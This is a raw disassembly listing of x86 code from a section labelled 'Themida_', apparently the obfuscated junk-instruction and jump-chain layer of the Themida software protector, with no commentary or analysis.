		jmp	loc_5A50D1
; ---------------------------------------------------------------------------


loc_598574:				; CODE XREF: Themida_:005A17C6j
		push	ebx
		push	dword ptr [esp+4]
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_59D711
; ---------------------------------------------------------------------------


loc_598587:				; CODE XREF: Themida_:0059150Dj
		xor	dl, ah
		mov	ax, [esp]
		add	esp, 2
		shl	dl, 3
		jmp	loc_5A27BA
; ---------------------------------------------------------------------------


loc_598598:				; CODE XREF: Themida_:005936E3j
		push	eax
		jmp	loc_5A49F3
; ---------------------------------------------------------------------------


loc_59859E:				; CODE XREF: Themida_:005A4414j
		pop	esp
		mov	[esp], esi
		push	725Eh
		jmp	loc_59D04B
; ---------------------------------------------------------------------------


loc_5985AC:				; CODE XREF: Themida_:00594A11j
		mov	[esp], edx
		push	7D22h
		mov	[esp], eax
		push	dword ptr [esp]
		pop	edx
		push	ecx
		push	704h
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_5A492E
; ---------------------------------------------------------------------------


loc_5985D4:				; CODE XREF: Themida_:005932ACj
		pop	eax
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_591F2F
; ---------------------------------------------------------------------------


loc_5985E0:				; CODE XREF: Themida_:00591142j
		neg	esi
		xchg	esi, ebx
		sub	ebx, 48F36340h
		sub	edi, 9467BA8h
		add	edi, ebx
		sub	esp, 4
		jmp	loc_5A1B92
; ---------------------------------------------------------------------------


loc_5985FD:				; CODE XREF: Themida_:00596085j
		sub	eax, ecx
		jmp	loc_590919
; ---------------------------------------------------------------------------


loc_598604:				; CODE XREF: Themida_:005A1A80j
		pop	edx
		add	edi, ebx
		mov	ebx, [esp]
		add	esp, 4
		push	590Ah
		mov	[esp], ecx
		push	4
		mov	ecx, [esp]
		add	esp, 4
		add	edi, ecx
		pop	ecx
		jmp	loc_5A3487
; ---------------------------------------------------------------------------


loc_59862B:				; CODE XREF: Themida_:005A26B9j
		mov	esi, [esp]
		add	esp, 4
		xor	edi, 0AEF68BB8h
		push	edi
		jmp	loc_598B69
; ---------------------------------------------------------------------------


loc_59863D:				; CODE XREF: Themida_:0059D12Dj
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		jmp	loc_5A2965
; ---------------------------------------------------------------------------


loc_598651:				; CODE XREF: Themida_:0059186Cj
		mov	esp, [esp]
		sub	[edi+24h], ecx
		pop	ecx


loc_598658:				; CODE XREF: Themida_:005A298Ej
		sub	esp, 4
		mov	[esp], ebx
		push	eax
		push	ecx
		push	316C3EE2h
		pop	ecx
		or	ecx, 45F13670h
		push	0
		jmp	loc_5A5389
; ---------------------------------------------------------------------------


loc_598676:				; CODE XREF: Themida_:00594310j
		add	ebx, ebp
		pop	ebp
		push	eax
		push	3FA63A2Fh
		pop	eax
		xor	eax, 5144E5E0h
		add	ebx, eax
		pop	eax
		mov	edi, ebx
		pop	ebx
		xor	edi, 147F85h
		jmp	loc_594C29
; ---------------------------------------------------------------------------


loc_598696:				; CODE XREF: Themida_:005A0583j
		movzx	eax, al
		push	dword ptr [edi+eax*4]
		sub	esp, 4
		jmp	loc_5A2C02
; ---------------------------------------------------------------------------
		push	1981h
		mov	[esp], edx
		jmp	loc_5902C1
; ---------------------------------------------------------------------------


loc_5986B1:				; CODE XREF: Themida_:0059A54Ej
		sub	esi, 0FFFFFFFFh
		shr	esi, 6
		jmp	loc_5930AB
; ---------------------------------------------------------------------------


loc_5986BF:				; CODE XREF: Themida_:0059B80Ej
		sub	ebp, ecx
		pop	ecx
		jmp	loc_59E40C
; ---------------------------------------------------------------------------


loc_5986C7:				; CODE XREF: Themida_:005A524Bj
		pop	ebp
		push	esi
		mov	esi, esp
		add	esi, 4
		push	ecx
		mov	ecx, 49917005h
		add	ecx, 5F242073h
		dec	ecx
		sub	ecx, 0FFFFFFFFh
		jmp	loc_59F27A
; ---------------------------------------------------------------------------


loc_5986E6:				; CODE XREF: Themida_:0059D282j
		mov	esi, 3BE86D93h
		neg	esi
		dec	esi
		shr	esi, 3
		or	esi, 512F1A4Fh
		sub	esi, 556EA44Fh
		sub	ebx, esi
		pop	esi
		jmp	loc_59B777
; ---------------------------------------------------------------------------


loc_598705:				; CODE XREF: Themida_:0059F0E6j
		push	small 3C71h
		mov	[esp], cx
		movzx	cx, al
		push	cx
		pushf
		jmp	loc_59DB46
; ---------------------------------------------------------------------------


loc_598719:				; CODE XREF: Themida_:0059ED91j
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, esp
		sub	esp, 4
		jmp	loc_5A4F74
; ---------------------------------------------------------------------------


loc_59872F:				; CODE XREF: Themida_:0059E4A0j
		sub	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_5A209F
; ---------------------------------------------------------------------------


loc_59873D:				; CODE XREF: Themida_:005A2562j
		add	esp, 4
		push	ecx
		mov	ecx, 2695167Ah
		push	esi
		mov	esi, 1
		sub	ecx, esi
		pop	esi
		sub	esp, 4
		jmp	loc_590414
; ---------------------------------------------------------------------------


loc_59875D:				; CODE XREF: Themida_:0059EA3Cj
		add	eax, 4
		push	edi
		mov	edi, 4
		add	eax, edi
		pop	edi
		xchg	eax, [esp]
		pop	esp
		push	eax
		jmp	loc_59C9AD
; ---------------------------------------------------------------------------


loc_598775:				; CODE XREF: Themida_:0059EA5Ej
		pop	edi
		jmp	loc_598953
; ---------------------------------------------------------------------------


loc_59877B:				; CODE XREF: Themida_:005A276Cj
		add	ebp, esi
		pop	esi
		push	ebx
		mov	ebx, 748C6DDFh
		not	ebx
		jmp	loc_59B89F
; ---------------------------------------------------------------------------


loc_59878B:				; CODE XREF: Themida_:005969C2j
		mov	ecx, [esp]
		add	esp, 4
		push	4491h
		jmp	loc_5936E8
; ---------------------------------------------------------------------------


loc_59879B:				; CODE XREF: Themida_:005A5441j
		mov	eax, ebp
		pop	ebp
		not	eax
		xor	eax, 0C35DE310h
		sub	ebp, 5AA76262h
		jmp	loc_59B907
; ---------------------------------------------------------------------------


loc_5987B0:				; CODE XREF: Themida_:0059A79Cj
		add	ecx, 3117316Ch
		mov	eax, [esp]
		add	esp, 4
		push	3752h
		mov	[esp], eax
		sub	esp, 4
		mov	[esp], edi
		push	88430EAh
		pop	edi
		or	edi, 44AC5A88h
		jmp	loc_5A2D8F
; ---------------------------------------------------------------------------


loc_5987DE:				; CODE XREF: Themida_:00593E45j
		mov	ebx, [esp]
		jmp	loc_59E3DD
; ---------------------------------------------------------------------------
		mov	esp, [esp]
		jmp	loc_5902C1
; ---------------------------------------------------------------------------


loc_5987EE:				; CODE XREF: Themida_:00599DB9j
		add	edx, 8E0202D5h
		add	eax, edx
		pop	edx
		add	eax, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		and	[esp], eax
		pushf
		jmp	loc_5902C1
; ---------------------------------------------------------------------------


loc_598809:				; CODE XREF: Themida_:0059CAEFj
		mov	[esp], edi
		mov	edi, 868B3C1h
		push	esi
		jmp	loc_5930E5
; ---------------------------------------------------------------------------


loc_598817:				; CODE XREF: Themida_:005998DEj
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		push	eax
		jmp	loc_597FEA
; ---------------------------------------------------------------------------


loc_598829:				; CODE XREF: Themida_:00597B38j
		push	6BE4h
		mov	[esp], ebp
		not	dword ptr [esp]
		pop	ebp
		add	ebp, 5D573EA1h
		mov	ecx, ebp
		pop	ebp
		neg	ecx
		push	eax
		mov	eax, 5C385A15h
		jmp	loc_5932B1
; ---------------------------------------------------------------------------
		push	4DC2h
		mov	[esp], esp
		sub	esp, 4
		mov	[esp], edx
		push	ecx
		push	1E94h
		jmp	loc_598FEC
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	edx
		push	ebx
		push	esp
		pop	ebx
		push	ecx
		jmp	loc_593504
; ---------------------------------------------------------------------------


loc_598875:				; CODE XREF: Themida_:005927E0j
		mov	eax, [esp]
		add	esp, 4
		sub	ebx, 1
		push	eax
		mov	eax, 0
		jmp	loc_5A28A0
; ---------------------------------------------------------------------------


loc_598889:				; CODE XREF: Themida_:0059E9B1j
		xchg	ebp, [esp]
		pop	esp
		test	cl, al
		pushf
		jmp	loc_5902C1
; ---------------------------------------------------------------------------


loc_598895:				; CODE XREF: Themida_:0059EB1Fj
		sub	dl, 0
		add	dl, bl
		add	dl, 0
		pop	bx
		sub	dl, 0D5h
		sub	dl, 0BDh
		xor	ch, dl
		pop	edx
		jmp	loc_59683C
; ---------------------------------------------------------------------------


loc_5988AD:				; CODE XREF: Themida_:0059B306j
		sub	edi, 744C0E65h
		add	edi, 302867ECh
		add	edi, esi
		push	eax
		mov	eax, 5B0D3A74h
		inc	eax
		inc	eax
		inc	eax
		shr	eax, 7
		add	eax, 6A367D52h
		sub	eax, 3AC42FDAh
		sub	edi, eax
		jmp	loc_5937E9
; ---------------------------------------------------------------------------


loc_5988D8:				; CODE XREF: Themida_:0059F48Cj
		mov	esp, [esp]
		jmp	loc_591FF6
; ---------------------------------------------------------------------------


loc_5988E0:				; CODE XREF: Themida_:00592B92j
		push	edi
		mov	edi, 7DCF11C3h
		inc	edi
		jmp	loc_5910F4
; ---------------------------------------------------------------------------


loc_5988EC:				; CODE XREF: Themida_:005907C5j
		mov	eax, [esp]
		push	77AEh
		mov	[esp], edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		push	edx
		jmp	loc_591B7D
; ---------------------------------------------------------------------------


loc_598908:				; CODE XREF: Themida_:005A2958j
		pop	esi
		sub	esp, 4
		jmp	loc_598C05
; ---------------------------------------------------------------------------


loc_598914:				; CODE XREF: Themida_:005965BAj
		or	edx, 4C947BEDh
		jmp	loc_5A28DC
; ---------------------------------------------------------------------------


loc_59891F:				; CODE XREF: Themida_:0059D246j
		pop	ebp
		push	683Dh
		mov	[esp], edx
		push	ebp
		mov	ebp, 2B784D60h
		shl	ebp, 4
		jmp	loc_599DBE
; ---------------------------------------------------------------------------


loc_598936:				; CODE XREF: Themida_:0059034Ej
		push	small 38FEh
		jmp	loc_592D14
; ---------------------------------------------------------------------------


loc_59893F:				; CODE XREF: Themida_:00598CE1j
		mov	ecx, [esp]
		add	esp, 4
		xor	ebx, 0E9F1FB4Ch
		jmp	loc_59FDF6
; ---------------------------------------------------------------------------


loc_598953:				; CODE XREF: Themida_:00598776j
		xor	ebp, ebx
		mov	ebx, [esp]
		add	esp, 4
		add	ecx, ebp
		jmp	loc_59FB7C
; ---------------------------------------------------------------------------


loc_598962:				; CODE XREF: Themida_:00594AFBj
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_592E34
; ---------------------------------------------------------------------------


loc_598970:				; CODE XREF: Themida_:0059D98Dj
		neg	ecx
		or	ecx, 5F99620Dh
		xor	ecx, 0EF4F8041h
		mov	edi, ecx
		pop	ecx
		jmp	loc_5A2F58
; ---------------------------------------------------------------------------


loc_598986:				; CODE XREF: Themida_:005905A1j
		push	edx
		push	dword ptr [esp+4]
		jmp	loc_597F94
; ---------------------------------------------------------------------------


loc_598990:				; CODE XREF: Themida_:0059EDA0j
		mov	ecx, 24h
		add	ecx, edi
		push	eax
		jmp	loc_590DDF
; ---------------------------------------------------------------------------


loc_59899D:				; CODE XREF: Themida_:005959D8j
		xor	edi, 12168CE0h
		jmp	loc_59338C
; ---------------------------------------------------------------------------


loc_5989A8:				; CODE XREF: Themida_:0059E6CBj
		push	73B8h
		mov	[esp], ebx
		jmp	loc_5A2A59
; ---------------------------------------------------------------------------


loc_5989B5:				; CODE XREF: Themida_:00597B5Cj
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		pop	esp
		mov	[esp], eax
		mov	eax, 68902EBBh
		xor	eax, 68902EBFh
		mov	edx, eax
		mov	eax, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_593755
; ---------------------------------------------------------------------------


loc_5989EA:				; CODE XREF: Themida_:0059448Bj
		mov	esi, [esp]
		add	esp, 4
		push	5531h
		mov	[esp], ebp
		mov	ebp, 6AA43B41h
		sub	[esp+0Ch], ebp
		pop	ebp
		jmp	loc_5954FB
; ---------------------------------------------------------------------------


loc_598A07:				; CODE XREF: Themida_:005A5378j
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		add	esp, 4
		jmp	loc_5A4854
; ---------------------------------------------------------------------------


loc_598A19:				; CODE XREF: Themida_:005997E9j
		mov	[esp], ecx
		push	esp
		mov	ecx, [esp]
		add	esp, 4
		push	edx
		jmp	loc_59F180
; ---------------------------------------------------------------------------


loc_598A29:				; CODE XREF: Themida_:005A27D4j
		sub	edx, 97B6D3Eh
		inc	edx
		add	edx, 5E2F7325h
		push	edi
		jmp	loc_59F6D1
; ---------------------------------------------------------------------------


loc_598A3C:				; CODE XREF: Themida_:005A0344j
		add	esp, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		mov	[esp], ecx
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_59E08A
; ---------------------------------------------------------------------------


loc_598A6F:				; CODE XREF: Themida_:005A2A07j
		pop	edi
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_5A2097
; ---------------------------------------------------------------------------


loc_598A79:				; CODE XREF: Themida_:005981D9j
		bt	[esp], ax
		pushf
		jmp	loc_5902C1
; ---------------------------------------------------------------------------


loc_598A84:				; CODE XREF: Themida_:005A4670j
		mov	[esp], eax
		mov	eax, 0
		sub	eax, 528D4177h
		add	eax, ebx
		jmp	loc_5A15C3
; ---------------------------------------------------------------------------


loc_598A98:				; CODE XREF: Themida_:005A49D8j
		mov	bh, dl
		jmp	loc_5A1523
; ---------------------------------------------------------------------------


loc_598A9F:				; CODE XREF: Themida_:005A25E4j
		push	edi
		mov	edi, 16810ED4h
		add	ebp, edi
		pop	edi
		push	596Eh
		mov	[esp], edx
		mov	edx, 6DC15ABBh
		jmp	loc_59A735
; ---------------------------------------------------------------------------


loc_598ABA:				; CODE XREF: Themida_:0059460Fj
		mov	ebx, 46DC420Ah
		push	edx
		jmp	loc_5A3D3A
; ---------------------------------------------------------------------------


loc_598AC5:				; CODE XREF: Themida_:005969EBj
		mov	ebx, 642D49C6h
		jmp	loc_597D12
; ---------------------------------------------------------------------------


loc_598ACF:				; CODE XREF: Themida_:0059A94Fj
		pop	esp
		mov	ax, [esp]
		push	ebp
		mov	ebp, esp
		push	edx
		mov	edx, 4
		add	ebp, edx
		pop	edx
		sub	ebp, 4
		jmp	loc_5A08D2
; ---------------------------------------------------------------------------


loc_598AE8:				; CODE XREF: Themida_:005A2543j
		add	esi, ebx
		pop	ebx
		push	0B20h
		mov	[esp], ebp
		mov	ebp, 6A9E2E89h
		shr	ebp, 2
		jmp	loc_594D53
; ---------------------------------------------------------------------------


loc_598B00:				; CODE XREF: Themida_:00596C83j
		push	ebp
		mov	ebp, 42756CE2h
		neg	ebp
		push	edi
		mov	edi, 3A30545Dh
		xor	edi, 9865BF15h
		add	ebp, edi
		jmp	loc_593B06
; ---------------------------------------------------------------------------


loc_598B1B:				; CODE XREF: Themida_:0059510Dj
		add	al, dl
		mov	edx, [esp]
		jmp	loc_593A34
; ---------------------------------------------------------------------------


loc_598B25:				; CODE XREF: Themida_:00598E31j
		push	esp
		pop	ecx
		jmp	loc_5998F1
; ---------------------------------------------------------------------------


loc_598B2C:				; CODE XREF: Themida_:005936D2j
		add	esp, 4
		add	ebx, 4
		push	edi
		jmp	loc_59C663
; ---------------------------------------------------------------------------


loc_598B3E:				; CODE XREF: Themida_:00594624j
		add	bl, dl
		pop	edx
		jmp	loc_595916
; ---------------------------------------------------------------------------


loc_598B46:				; CODE XREF: Themida_:00598EC8j
		add	eax, 1CAE68F0h
		add	eax, esi
		push	ebp
		mov	ebp, 1CAE68F0h
		jmp	loc_5A3E36
; ---------------------------------------------------------------------------
		push	small word ptr [edx]
		jmp	loc_5902C1
; ---------------------------------------------------------------------------
		mov	sp, [esp]
		jmp	loc_596CE3
; ---------------------------------------------------------------------------


loc_598B69:				; CODE XREF: Themida_:00598638j
		pop	esi
		pop	edi
		add	esi, ecx
		pop	ecx
		push	ebx
		mov	ebx, 75332B9Eh
		xor	esi, ebx
		mov	ebx, [esp]
		jmp	loc_59F22B
; ---------------------------------------------------------------------------


loc_598B7E:				; CODE XREF: Themida_:005A1433j
		shr	al, 7
		or	al, 50h
		shr	al, 7
		shr	al, 1
		add	al, 0B0h
		or	bh, al
		mov	eax, [esp]
		add	esp, 4
		sub	bh, 0FFh
		push	dx
		mov	dl, 2Bh
		add	bh, dl
		pop	dx
		dec	bh
		push	edx
		mov	dh, 0ABh
		xor	bh, dh
		jmp	loc_5999AD
; ---------------------------------------------------------------------------


loc_598BA9:				; CODE XREF: Themida_:00590DABj
		sub	ebx, 52695ED8h
		xor	ebx, 24362ECDh
		push	edi
		jmp	loc_5963DC
; ---------------------------------------------------------------------------


loc_598BBB:				; CODE XREF: Themida_:005A4CC3j
		mov	eax, 4
		jmp	loc_5929B4
; ---------------------------------------------------------------------------


loc_598BC5:				; CODE XREF: Themida_:0059F157j
		pop	ebp
		inc	di
		shl	di, 1
		sub	di, 237Ch
		or	di, 4C77h
		sub	di, 0CB0Ch
		jmp	loc_590E15
; ---------------------------------------------------------------------------


loc_598BDF:				; CODE XREF: Themida_:005A1F2Dj
		pop	eax
		xor	edi, ecx
		pop	ecx
		sub	edx, 4A45411Dh
		add	edx, edi
		jmp	loc_59CB7F
; ---------------------------------------------------------------------------


loc_598BF0:				; CODE XREF: Themida_:0059CDE2j
		push	ecx
		pushf
		jmp	loc_5A54DE
; ---------------------------------------------------------------------------


loc_598BF7:				; CODE XREF: Themida_:00590F65j
		sub	esp, 4
		mov	[esp], esp
		jmp	loc_59C2F5
; ---------------------------------------------------------------------------


loc_598C05:				; CODE XREF: Themida_:0059890Fj
		mov	[esp], ebp
		push	9C56F2Dh
		pop	ebp
		neg	ebp
		jmp	loc_5A21CE
; ---------------------------------------------------------------------------


loc_598C15:				; CODE XREF: Themida_:0059C8B5j
		add	eax, ecx
		pop	ecx
		push	ebx
		jmp	loc_5A1DB5
; ---------------------------------------------------------------------------


loc_598C1E:				; CODE XREF: Themida_:0059DED8j
		shl	dl, 4
		jmp	loc_5A0AC1
; ---------------------------------------------------------------------------


loc_598C26:				; CODE XREF: Themida_:005A04A0j
		dec	cl
		jmp	loc_59D1C3
; ---------------------------------------------------------------------------


loc_598C2D:				; CODE XREF: Themida_:00594BD1j
		mov	[esp], edx
		push	esi
		mov	esi, 654275DEh
		push	ebp
		jmp	loc_59C892
; ---------------------------------------------------------------------------


loc_598C3C:				; CODE XREF: Themida_:005950D2j
		pop	edi
		shl	edx, 6
		sub	edx, 0FFFFFFFFh
		shr	edx, 6
		jmp	loc_593860
; ---------------------------------------------------------------------------


loc_598C4B:				; CODE XREF: Themida_:005A36DDj
		mov	ecx, 46E54782h
		not	ecx
		jmp	loc_592F13
; ---------------------------------------------------------------------------


loc_598C57:				; CODE XREF: Themida_:00594B75j
		push	edi
		jmp	loc_597994
; ---------------------------------------------------------------------------


loc_598C5D:				; CODE XREF: Themida_:0059C433j
		xchg	eax, ebp
		not	eax
		xchg	eax, ebp
		sub	ebp, 0C2F0E5h
		sub	edi, ebp
		pop	ebp
		jmp	loc_59BFDB
; ---------------------------------------------------------------------------


loc_598C6F:				; CODE XREF: Themida_:0059C44Dj
		add	edi, 4
		push	5C4Dh
		jmp	loc_5A258D
; ---------------------------------------------------------------------------


loc_598C7F:				; CODE XREF: Themida_:0059D8D8j
		sub	edx, 30FA5D34h
		pop	ebx
		push	2121h
		mov	[esp], ebp
		push	esp
		jmp	loc_593E13
; ---------------------------------------------------------------------------


loc_598C94:				; CODE XREF: Themida_:005970F8j
		add	ebx, ecx
		push	edi
		jmp	loc_59952D
; ---------------------------------------------------------------------------


loc_598C9C:				; CODE XREF: Themida_:0059CE95j
		mov	[esp], edx
		push	4EBCh
		mov	[esp], esp
		jmp	loc_5A3B88
; ---------------------------------------------------------------------------


loc_598CAC:				; CODE XREF: Themida_:0059AACBj
		add	esp, 4
		shr	ch, 4
		push	edx
		mov	dl, 2Ch
		or	ch, dl
		pop	edx
		push	bx
		mov	bl, 0C7h
		and	ch, bl
		pop	bx
		push	dx
		jmp	loc_5A4285
; ---------------------------------------------------------------------------


loc_598CC7:				; CODE XREF: Themida_:00591A30j
		push	edx
		mov	edx, 6E993F3Bh
		mov	ebp, edx
		pop	edx
		mov	ecx, ebp
		pop	ebp
		add	ebx, 64E97291h
		add	ebx, ecx
		sub	ebx, 64E97291h
		jmp	loc_59893F
; ---------------------------------------------------------------------------


loc_598CE6:				; CODE XREF: Themida_:00592F50j
		add	eax, 249819DAh
		pop	ebx
		sub	eax, 0FFFFFFFFh
		dec	eax
		sub	eax, 29D57482h
		xor	eax, 6CD3F51Fh
		jmp	loc_59EAF5
; ---------------------------------------------------------------------------
		db 0ACh
		dd offset dword_455248+14020h
		dd 240C8900h, 0FFD44FE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_598D0D:				; CODE XREF: Themida_:00592B85j
		mov	edi, [esp]
		add	esp, 4
		inc	esi
		shl	esi, 5
		xor	esi, 5AFF29D4h
		jmp	loc_597BFD
; ---------------------------------------------------------------------------


loc_598D25:				; CODE XREF: Themida_:0059D346j
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		jmp	loc_5A23F4
; ---------------------------------------------------------------------------


loc_598D36:				; CODE XREF: Themida_:00592127j
		mov	ebx, eax
		pop	eax
		push	ebx
		pop	ecx
		pop	ebx
		sub	edi, 4E9F711Bh
		push	ebp
		jmp	loc_596C88
; ---------------------------------------------------------------------------


loc_598D48:				; CODE XREF: Themida_:005A3AFEj
		inc	eax
		jmp	loc_5A507A
; ---------------------------------------------------------------------------


loc_598D4E:				; CODE XREF: Themida_:0059FDF1j
		push	esp
		pop	ebx
		add	ebx, 4
		push	eax
		jmp	loc_591A35
; ---------------------------------------------------------------------------


loc_598D5C:				; CODE XREF: Themida_:005939BEj
		pop	esp
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		push	dword ptr [esp]
		pop	edx
		jmp	loc_5A15F0
; ---------------------------------------------------------------------------


loc_598D71:				; CODE XREF: Themida_:0059535Ej
		pop	ebx
		xchg	ebx, edi
		dec	edi
		add	edi, 3FAD15B0h
		xor	edi, 0D30FC7A8h
		sub	eax, edi
		mov	edi, [esp]
		add	esp, 4
		pop	ebp
		xor	ebx, eax
		pop	small word ptr [eax]
		jmp	loc_5902C1
; ---------------------------------------------------------------------------


loc_598D97:				; CODE XREF: Themida_:0059AFD4j
		shl	ebp, 2
		xor	ebp, 0FB5FFF78h
		jmp	loc_590F28
; ---------------------------------------------------------------------------


loc_598DA5:				; CODE XREF: Themida_:005A0BA5j
		push	ebp
		jmp	loc_5926C1
; ---------------------------------------------------------------------------


loc_598DAB:				; CODE XREF: Themida_:005A4C1Dj
		xor	ebx, 596D7E3Eh
		inc	ebx
		not	ebx
		and	ebx, 57724D1h
		jmp	loc_59DB7F
; ---------------------------------------------------------------------------


loc_598DBF:				; CODE XREF: Themida_:0059D59Ej
		xor	ebp, edx
		pop	edx
		jmp	loc_591F63
; ---------------------------------------------------------------------------


loc_598DC7:				; CODE XREF: Themida_:0059078Cj
		add	ebx, 1601C13h
		add	ebx, edi
		sub	ebx, 1601C13h
		jmp	loc_5A1964
; ---------------------------------------------------------------------------


loc_598DDA:				; CODE XREF: Themida_:0059E873j
		add	ebx, 4
		jmp	loc_59D6CA
; ---------------------------------------------------------------------------


loc_598DE2:				; CODE XREF: Themida_:005A4FCBj
		sub	ecx, 1EAF1EE3h
		and	ecx, 6A5A2E72h
		jmp	loc_59D2DF
; ---------------------------------------------------------------------------


loc_598DF3:				; CODE XREF: Themida_:00590CB6j
		or	bl, 0Ch
		dec	bl
		add	bl, 12h
		push	edx
		mov	dh, 0A7h
		jmp	loc_597AA6
; ---------------------------------------------------------------------------


loc_598E03:				; CODE XREF: Themida_:0059114Fj
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], ebp
		push	edx
		mov	edx, 3CDF06A1h
		mov	ebp, 3CDF06A5h
		xor	ebp, edx
		pop	edx
		jmp	loc_5969EA
; ---------------------------------------------------------------------------


loc_598E20:				; CODE XREF: Themida_:00594E2Cj
		add	edx, ecx
		pop	ecx
		xchg	edx, [esp]
		mov	esp, [esp]
		push	5484h
		mov	[esp], ecx
		jmp	loc_598B25
; ---------------------------------------------------------------------------


loc_598E36:				; CODE XREF: Themida_:0059BF56j
		add	ebx, 6AFB55E2h
		add	ebx, 524D8037h
		xor	ebp, ebx
		pop	ebx
		jmp	loc_5941A7
; ---------------------------------------------------------------------------


loc_598E4A:				; CODE XREF: Themida_:005936EBj
		push	ebp
		jmp	loc_5A1E06
; ---------------------------------------------------------------------------


loc_598E50:				; CODE XREF: Themida_:005A2234j
		push	ebx
		sub	esp, 4
		jmp	loc_5A19E2
; ---------------------------------------------------------------------------


loc_598E5C:				; CODE XREF: Themida_:00598079j
		xor	ebp, 47C69D3Fh
		sub	edi, ebp
		pop	ebp
		jmp	loc_5A4235
; ---------------------------------------------------------------------------
		lodsw
		xor	ax, bx
		push	1CA1h
		mov	[esp], ebx
		mov	ebx, esp
		jmp	loc_596700
; ---------------------------------------------------------------------------


loc_598E7E:				; CODE XREF: Themida_:005A367Fj
		push	esp
		pop	ebp
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 4
		add	ebp, esi
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_598ED5
; ---------------------------------------------------------------------------


loc_598E9E:				; CODE XREF: Themida_:0059E31Dj
		pop	ecx
		mov	dh, bl
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_59BA60
; ---------------------------------------------------------------------------


loc_598EAF:				; CODE XREF: Themida_:0059C3D4j
		add	al, bl
		jmp	loc_594B98
; ---------------------------------------------------------------------------


loc_598EB6:				; CODE XREF: Themida_:0059DFB1j
		mov	[esp], eax
		mov	eax, esp
		push	1680h
		mov	[esp], esi
		mov	esi, 4
		jmp	loc_598B46
; ---------------------------------------------------------------------------
		sub	esp, 4
		jmp	loc_59BD14
; ---------------------------------------------------------------------------


loc_598ED5:				; CODE XREF: Themida_:00598E99j
		sub	ebp, 4
		xor	ebp, [esp]
		jmp	loc_5A271D
; ---------------------------------------------------------------------------


loc_598EE3:				; CODE XREF: Themida_:005971E1j
		xor	ebx, 7E537D50h
		sub	edi, 0C4D1CC1h
		sub	edi, ebx
		add	edi, 0C4D1CC1h
		pop	ebx
		and	eax, edi
		jmp	loc_59FC6D
; ---------------------------------------------------------------------------


loc_598EFF:				; CODE XREF: Themida_:0059F570j
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_59D287
; ---------------------------------------------------------------------------


loc_598F0D:				; CODE XREF: Themida_:005912D5j
		push	ecx
		push	dword ptr [esp+4]
		mov	ecx, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], ebp
		push	esp
		jmp	loc_5921F9
; ---------------------------------------------------------------------------


loc_598F27:				; CODE XREF: Themida_:0059AC5Dj
		push	ecx
		mov	ecx, 0D10565Bh
		mov	edx, ecx
		pop	ecx
		jmp	loc_592205
; ---------------------------------------------------------------------------


loc_598F35:				; CODE XREF: Themida_:0059DB23j
		sub	ebx, 5FB106CDh
		xor	ebx, 28F3340Ah
		xor	ebx, 1BC56D46h
		or	edi, ebx
		pop	ebx
		add	edi, 2D67C016h
		and	ecx, edi
		jmp	loc_5A0A6B
; ---------------------------------------------------------------------------


loc_598F57:				; CODE XREF: Themida_:005A3810j
		mov	ecx, esp
		push	ebx
		mov	ebx, 4EAD0EA8h
		inc	ebx
		shr	ebx, 7
		jmp	loc_591663
; ---------------------------------------------------------------------------


loc_598F68:				; CODE XREF: Themida_:005A4950j
		sub	dword ptr [esp+4], 2A460F2Bh
		push	dword ptr [esp]
		mov	esi, [esp]
		jmp	loc_599E57
; ---------------------------------------------------------------------------


loc_598F7B:				; CODE XREF: Themida_:00597538j
		sub	ebp, 47C50260h
		jmp	loc_59E69D
; ---------------------------------------------------------------------------


loc_598F86:				; CODE XREF: Themida_:00592091j
		xor	[esp], ebx
		xor	ebx, [esp]
		mov	esp, [esp]
		push	dword ptr [esp]
		jmp	loc_5945CB
; ---------------------------------------------------------------------------


loc_598F97:				; CODE XREF: Themida_:0059BD9Dj
		xchg	esi, [esp]
		mov	esp, [esp]
		push	56D9h
		mov	[esp], ebx
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		pop	ebx
		push	11F2h
		jmp	loc_594C3F
; ---------------------------------------------------------------------------


loc_598FB7:				; CODE XREF: Themida_:0059A045j
		mov	eax, [esp]
		push	esi
		push	esp
		jmp	loc_599B2A
; ---------------------------------------------------------------------------


loc_598FC1:				; CODE XREF: Themida_:0059160Bj
		pop	edi
		add	esi, 0C434DC9h
		and	esi, 382B6BF2h
		add	esi, 1
		jmp	loc_594B5E
; ---------------------------------------------------------------------------


loc_598FD9:				; CODE XREF: Themida_:00594B59j
		pop	ebx
		pop	ebp
		sub	esp, 4
		jmp	loc_5997C5
; ---------------------------------------------------------------------------


loc_598FE3:				; CODE XREF: Themida_:00599AE1j
		push	dword ptr [esp]
		pop	esi
		jmp	loc_5A2613
; ---------------------------------------------------------------------------


loc_598FEC:				; CODE XREF: Themida_:00598862j
		mov	[esp], ebp
		mov	ebp, 4
		jmp	loc_5A272F
; ---------------------------------------------------------------------------


